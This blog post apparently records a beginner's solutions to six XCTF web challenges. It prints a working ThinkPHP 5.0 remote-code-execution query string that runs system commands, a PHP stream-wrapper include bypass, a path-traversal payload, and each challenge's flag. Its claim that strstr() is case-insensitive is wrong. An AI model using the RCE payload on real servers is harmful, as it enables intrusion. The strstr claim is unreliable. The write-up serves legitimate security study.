天天看点

攻防世界web高手区(1-6)前言- - > baby_web- - > Training-WWW-Robots- - > php_rce- - > Web_php_include- - > ics-06- - > warmup

文章目录

  • 前言
  • - - > baby_web
  • - - > Training-WWW-Robots
  • - - > php_rce
  • - - > Web_php_include
  • - - > ics-06
  • - - > warmup
    • 总结/收获

前言

最近也算正式开始了安全方面的学习,想总结一下写过的一些题目,觉得写博客是一个不错的可以记录学习历程的方式,目前是零基础小白,也是第一次写博客,有收藏很多大佬的博客,往后会好好学习师傅们的博客内容,优化一下自己的博客。(有师傅有好的建议的话也可以提一提🌹)

- - > baby_web

* 考点:重定向
           

题目描述:想想初始页面是哪个

攻防世界web高手区(1-6)前言- - > baby_web- - > Training-WWW-Robots- - > php_rce- - > Web_php_include- - > ics-06- - > warmup

根据题目描述的提示,访问index.php后发现重定向,尝试抓包

攻防世界web高手区(1-6)前言- - > baby_web- - > Training-WWW-Robots- - > php_rce- - > Web_php_include- - > ics-06- - > warmup

访问得到flag:flag{very_baby_web}

- - > Training-WWW-Robots

* 考点:robots.txt
           

访问robots.txt,发现有

攻防世界web高手区(1-6)前言- - > baby_web- - > Training-WWW-Robots- - > php_rce- - > Web_php_include- - > ics-06- - > warmup

访问得到

攻防世界web高手区(1-6)前言- - > baby_web- - > Training-WWW-Robots- - > php_rce- - > Web_php_include- - > ics-06- - > warmup

flagcyberpeace{eac017d052248ca0093cc503b9e8ff07}

- - > php_rce

打开发现是thinkphp5.0框架,直接百度搜索该框架漏洞

攻防世界web高手区(1-6)前言- - > baby_web- - > Training-WWW-Robots- - > php_rce- - > Web_php_include- - > ics-06- - > warmup

戳- - > thinkphp_RCE漏洞 < - -

直接利用RCE漏洞的payload:?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name flag 得到

攻防世界web高手区(1-6)前言- - &gt; baby_web- - &gt; Training-WWW-Robots- - &gt; php_rce- - &gt; Web_php_include- - &gt; ics-06- - &gt; warmup

再payload:?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag

攻防世界web高手区(1-6)前言- - &gt; baby_web- - &gt; Training-WWW-Robots- - &gt; php_rce- - &gt; Web_php_include- - &gt; ics-06- - &gt; warmup

flag:flag{thinkphp5_rce}

- - > Web_php_include

* 考点:php://的绕过(php伪协议)
           
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);
?>
           

strstr()函数:查找字符串首次出现的位置,返回字符串及后边剩余部分

## strstr函数对大小写不敏感,所以这题可以用PHP://来绕过

攻防世界web高手区(1-6)前言- - &gt; baby_web- - &gt; Training-WWW-Robots- - &gt; php_rce- - &gt; Web_php_include- - &gt; ics-06- - &gt; warmup

ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}

## 此题还可以用data://来写

- - > ics-06

* 考点:爆破
           

题目描述: 云平台报表中心收集了设备管理基础服务的数据,但是数据被删除了,只有一处留下了入侵者的痕迹。

点开报表中心

攻防世界web高手区(1-6)前言- - &gt; baby_web- - &gt; Training-WWW-Robots- - &gt; php_rce- - &gt; Web_php_include- - &gt; ics-06- - &gt; warmup

抓包爆破ID,从1到10000

攻防世界web高手区(1-6)前言- - &gt; baby_web- - &gt; Training-WWW-Robots- - &gt; php_rce- - &gt; Web_php_include- - &gt; ics-06- - &gt; warmup

cyberpeace{f6eda182317020925da505f78a88a97a}

- - > warmup

* 考点:代码审计、目录穿越
           
<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }


            if (in_array($page, $whitelist)) {
                return true;
            }


            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }


            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }


    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "
<img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
           

substr()函数:substr($str,0,2)返回字符串中第1个字符开始,长度为2的内容

mb_substr():字符串中可含有中文

mb_strpos(): 返回被查找的字符串在另一字符串中首次出现的位置

mb_strpos(‘哔啦啦’,‘啦啦’):返回1

include ‘hint.php?flag.php’; 将返回后面的文件

此题payload:?file=hint.php?/…/…/…/…/…/…/ffffllllaaaagggg

得到flag: flag{25e7bce6005c4e0c983fb97297ac6e5a}

总结/收获

* strstr()函数对大小写不敏感,可以用此特性绕过
           

继续阅读